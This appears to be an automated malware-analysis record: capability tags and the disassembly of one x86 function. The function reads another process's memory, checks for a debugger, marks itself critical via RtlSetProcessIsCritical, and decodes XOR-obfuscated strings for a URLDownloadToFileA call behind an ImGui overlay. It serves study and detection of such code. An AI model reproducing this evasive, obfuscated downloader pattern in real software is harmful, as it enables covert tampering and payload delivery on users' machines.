Function at 0x4344e0
Capabilities:
Check for debugger via api
Contain obfuscated stackstrings
Download url
Enumerate gui resources
Enumerate process modules
Log keystrokes via polling
Receive data
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x1308
call fcn.004366f0
mov eax, dword [0x43f00c]
xor eax, esp
mov dword [esp + 0x1304], eax
push esi
push edi
push 0x3e8
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Beep]
mov esi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0x71
call esi
test ax, ax
je 0x434516
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
call fcn.00434370
push eax
push 0
push 0x1fffff
mov dword [0x44a690], eax
call edi
mov esi, eax
mov dword [0x44a62c], esi
test esi, esi
je 0x434596
lea eax, [esp + 0x1b0]
mov dword [esp + 0x1b0], 0
push eax
push 0x1000
lea eax, [esp + 0x208]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x434596
push 0x104
lea eax, [esp + 0x1204]
push eax
push dword [esp + 0x208]
push esi
call dword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExA]
neg eax
sbb eax, eax
and eax, dword [esp + 0x200]
push 0
push 4
lea ecx, [esp + 0x1bc]
mov dword [0x44a698], eax
push ecx
add eax, 0xf3ce18
push eax
push dword [0x44a62c]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp dword [esp + 0x1b4], 0
je 0x434525
mov eax, dword [0x44a690]
test eax, eax
je 0x434525
push eax
push 0
push 0x1fffff
call edi
mov esi, eax
mov dword [0x44a62c], esi
test esi, esi
je 0x43463b
lea eax, [esp + 0x1b4]
mov dword [esp + 0x1b4], 0
push eax
push 0x1000
lea eax, [esp + 0x208]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x43463b
push 0x104
lea eax, [esp + 0x1204]
push eax
push dword [esp + 0x208]
push esi
call dword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExA]
neg eax
sbb eax, eax
and eax, dword [esp + 0x200]
mov edx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov dword [0x44a698], eax
push 0
push 0
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool_]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
push 0xa
push 0
push 0x7fffffff
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::ignore_long_long___int64___int_]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_istream_char__struct_std::char_traits_char__::get_void_]
lea eax, [esp + 0x1b0]
mov dword [esp + 0x1b0], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [esp + 0x1b0], 0
je 0x4346c9
mov eax, dword [0x44aae0]
test eax, eax
je 0x4346c9
push str.RtlSetProcessIsCritical
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4346c9
push 0
lea ecx, [esp + 0x1c3]
push ecx
push 1
call eax
push dword [0x44a690]
push 0x42ef70
call dword [sym.imp.USER32.dll_EnumWindows]
mov dword [esp + 0x150], 0x71f3596b
lea ecx, [esp + 0xd0]
mov dword [esp + 0x154], 0x324d03c7
lea edx, [ecx + 1]
mov dword [esp + 0x158], 0x5db4bd6b
xorps xmm0, xmm0
mov dword [esp + 0x15c], 0x3a92dc1d
movaps xmm1, xmmword [esp + 0x150]
mov dword [esp + 0x160], 0xe96cce2
mov dword [esp + 0x164], 0x709b4cea
mov dword [esp + 0x168], 0xa07ff945
mov dword [esp + 0x16c], 0xd8dac683
movaps xmm2, xmmword [esp + 0x160]
mov dword [esp + 0x170], 0x35e6d6ef
mov dword [esp + 0x174], 0x3088ad8c
mov dword [esp + 0x178], 0x574e6728
mov dword [esp + 0x17c], 0x9286629
movaps xmm3, xmmword [esp + 0x170]
mov dword [esp + 0x180], 0xea4e5e18
mov dword [esp + 0x184], 0x78a2838a
mov dword [esp + 0x188], 0x2f4f73e9
mov dword [esp + 0x18c], 0x1ee7a193
movaps xmm4, xmmword [esp + 0x180]
mov dword [esp + 0x190], 0x73f9637a
mov dword [esp + 0x194], 0xc2affb9b
mov dword [esp + 0x198], 0x3d6133e7
mov dword [esp + 0x19c], 0xdb20cefe
movaps xmm5, xmmword [esp + 0x190]
mov dword [esp + 0x1a0], 0x7c5c271a
mov dword [esp + 0x1a4], 0xde607fe1
mov dword [esp + 0x1a8], 0x27f1c39e
mov dword [esp + 0x1ac], 0x8a7503af
movaps xmm6, xmmword [esp + 0x1a0]
movaps xmmword [esp + 0xd0], xmm1
mov dword [esp + 0x50], 0x1872d03
mov dword [esp + 0x54], 0x1d6239b4
mov dword [esp + 0x58], 0x73dad908
mov dword [esp + 0x5c], 0x59e1b579
xorps xmm1, xmmword [esp + 0x50]
mov dword [esp + 0x60], 0x6ff2be8d
mov dword [esp + 0x64], 0x13b53c9a
mov dword [esp + 0x68], 0xc150942a
mov dword [esp + 0x6c], 0xbbbbb2f7
xorps xmm2, xmmword [esp + 0x60]
mov dword [esp + 0x70], 0x5b83bb87
mov dword [esp + 0x74], 0x9a7def8
mov dword [esp + 0x78], 0x607f521c
mov dword [esp + 0x7c], 0x3b1d531d
xorps xmm3, xmmword [esp + 0x70]
mov dword [esp + 0x80], 0xdc786621
mov dword [esp + 0x84], 0x4894bbbe
mov dword [esp + 0x88], 0x1a765cde
mov dword [esp + 0x8c], 0x2dde99ab
xorps xmm4, xmmword [esp + 0x80]
mov dword [esp + 0x90], 0x46cf534b
mov dword [esp + 0x94], 0xf29bcaac
mov dword [esp + 0x98], 0xd5800d0
mov dword [esp + 0x9c], 0xab45bcd1
xorps xmm5, xmmword [esp + 0x90]
mov dword [esp + 0xa0], 0x24285575
mov dword [esp + 0xa4], 0xba4e4dd2
mov dword [esp + 0xa8], 0x27f1aff2
mov dword [esp + 0xac], 0x8a7503af
xorps xmm6, xmmword [esp + 0xa0]
movaps xmmword [esp + 0xd0], xmm1
movaps xmmword [esp + 0xe0], xmm2
movaps xmmword [esp + 0xf0], xmm3
movaps xmmword [esp + 0x100], xmm4
movaps xmmword [esp + 0x110], xmm5
movaps xmmword [esp + 0x120], xmm6
movaps xmmword [esp + 0x1e0], xmm0
mov dword [esp + 0x1f0], 0
mov dword [esp + 0x1f4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x434980
sub ecx, edx
lea eax, [esp + 0xd0]
push ecx
push eax
lea ecx, [esp + 0x1e8]
call fcn.004352c0
mov dword [esp + 0x10], 0x56db1740
lea ecx, [esp + 0x150]
mov dword [esp + 0x14], 0x720657dd
lea edx, [ecx + 1]
mov dword [esp + 0x18], 0x86aa7f
xorps xmm0, xmm0
mov dword [esp + 0x1c], 0x30cfc600
movaps xmm1, xmmword [esp + 0x10]
mov dword [esp + 0x20], 0x6ff2d7e3
mov dword [esp + 0x24], 0x13b53c9a
mov dword [esp + 0x28], 0xc150942a
mov dword [esp + 0x2c], 0xbbbbb2f7
movaps xmm2, xmmword [esp + 0x20]
mov dword [esp + 0x30], 0x1872d03
mov dword [esp + 0x34], 0x1d6239b4
mov dword [esp + 0x38], 0x73dad908
mov dword [esp + 0x3c], 0x59e1b579
mov dword [esp + 0x40], 0x6ff2be8d
mov dword [esp + 0x44], 0x13b53c9a
mov dword [esp + 0x48], 0xc150942a
mov dword [esp + 0x4c], 0xbbbbb2f7
xorps xmm2, xmmword [esp + 0x40]
movaps xmmword [esp + 0x150], xmm1
xorps xmm1, xmmword [esp + 0x30]
movaps xmmword [esp + 0x150], xmm1
movaps xmmword [esp + 0x160], xmm2
movaps xmmword [esp + 0x1c0], xmm0
mov dword [esp + 0x1d0], 0
mov dword [esp + 0x1d4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x434a75
sub ecx, edx
lea eax, [esp + 0x150]
push ecx
push eax
lea ecx, [esp + 0x1c8]
call fcn.004352c0
cmp dword [esp + 0x1d4], 0x10
lea ecx, [esp + 0x1c0]
push 0
cmovae ecx, dword [esp + 0x1c4]
lea eax, [esp + 0x1e4]
cmp dword [esp + 0x1f8], 0x10
push 0
cmovae eax, dword [esp + 0x1e8]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
call fcn.00433d60
mov esi, dword [0x44a61c]
push 0x44a630
push 0x20
mov dword [esp + 0x1b8], esi
call dword [sym.imp.d3d9.dll_Direct3DCreate9Ex]
test eax, eax
jns 0x434afa
push 3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov ecx, dword [0x44a630]
lea edx, [esp + 0x150]
mov eax, dword [0x44aaf0]
xorps xmm0, xmm0
push 0x44a68c
push edx
push 0x40
push esi
mov dword [esp + 0x160], eax
mov eax, dword [0x44a69c]
push 1
movlpd qword [esp + 0x170], xmm0
movlpd qword [esp + 0x190], xmm0
mov dword [esp + 0x184], 1
mov dword [esp + 0x17c], 1
mov dword [esp + 0x180], esi
mov dword [esp + 0x178], 0
mov dword [esp + 0x16c], 0x15
mov dword [esp + 0x168], eax
mov dword [esp + 0x188], 1
mov dword [esp + 0x18c], 0x50
mov dword [esp + 0x198], 0
mov eax, dword [ecx]
push 0
push ecx
call dword [eax + 0x40]
test eax, eax
jns 0x434bb2
mov eax, dword [0x44a630]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push 4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call fcn.00404f50
mov eax, dword [0x44a4f0]
lea ecx, [esp + 0x50]
mov dword [esp + 0x1b4], eax
mov edx, dword [eax + 0x94]
call fcn.0041d880
mov esi, eax
lea edi, [esp + 0xd0]
mov ecx, 0x1d
lea eax, [esp + 0xd0]
rep movsd dword es:[edi], dword [esi]
push eax
mov ecx, edx
mov dword [esp + 0xd4], 0x43f258
mov dword [esp + 0xd8], 0x15
mov dword [esp + 0xe4], 0x41a80000
mov dword [esp + 0x104], 0x43c170
call fcn.0041db80
mov eax, dword [esp + 0x1b4]
push 0x44ab70
or dword [eax + 8], 1
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x434d0f
push 0x44ab68
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x434d0f
mov ecx, dword [0x44a4f0]
mov eax, dword [esp + 0x1b0]
mov dword [0x44ab60], eax
or dword [ecx + 0xc], 6
mov dword [ecx + 0xc4], str.imgui_impl_win32
mov dword [ecx + 0xdc], eax
mov dword [ecx + 0x34], 9
mov dword [ecx + 0x38], 0x25
mov dword [ecx + 0x3c], 0x27
mov dword [ecx + 0x40], 0x26
mov dword [ecx + 0x44], 0x28
mov dword [ecx + 0x48], 0x21
mov dword [ecx + 0x4c], 0x22
mov dword [ecx + 0x50], 0x24
mov dword [ecx + 0x54], 0x23
mov dword [ecx + 0x58], 0x2d
mov dword [ecx + 0x5c], 0x2e
mov dword [ecx + 0x60], 8
mov dword [ecx + 0x64], 0x20
mov dword [ecx + 0x68], 0xd
mov dword [ecx + 0x6c], 0x1b
mov dword [ecx + 0x70], 0x41
mov dword [ecx + 0x74], 0x43
mov dword [ecx + 0x78], 0x56
mov dword [ecx + 0x7c], 0x58
mov dword [ecx + 0x80], 0x59
mov dword [ecx + 0x84], 0x5a
jmp 0x434d15
mov ecx, dword [0x44a4f0]
mov eax, dword [0x44a68c]
mov dword [ecx + 0xc8], str.imgui_impl_dx9
mov dword [0x44ab58], eax
mov eax, dword [0x44a630]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push 0x42f060
lea ecx, [esp + 0x1b8]
call fcn.00434fd0
mov esi, eax
cmp dword [esi + 4], 0
je 0x434e7c
push dword [esi + 4]
mov edi, dword [sym.imp.MSVCP140.dll__Thrd_detach]
push dword [esi]
call edi
add esp, 8
test eax, eax
jne 0x434e7c
mov dword [esi], eax
mov dword [esi + 4], eax
cmp dword [esp + 0x1b8], eax
je 0x434d7d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 0x42ede0
lea ecx, [esp + 0x1b8]
call fcn.00434fd0
mov esi, eax
cmp dword [esi + 4], 0
je 0x434e7c
push dword [esi + 4]
push dword [esi]
call edi
add esp, 8
test eax, eax
jne 0x434e7c
mov dword [esi], eax
mov dword [esi + 4], eax
cmp dword [esp + 0x1b8], eax
je 0x434dc0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004340d0
mov ecx, dword [esp + 0x1d4]
cmp ecx, 0x10
jb 0x434e08
mov edx, dword [esp + 0x1c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x434dfe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x434e54
push ecx
push edx
call fcn.00435a7d
add esp, 8
mov ecx, dword [esp + 0x1f4]
mov dword [esp + 0x1d0], 0
mov dword [esp + 0x1d4], 0xf
mov byte [esp + 0x1c0], 0
cmp ecx, 0x10
jb 0x434e64
mov edx, dword [esp + 0x1e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x434e5a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x434e5a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00435a7d
add esp, 8
mov ecx, dword [esp + 0x130c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00435654
mov esp, ebp
pop ebp
ret 0x10
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3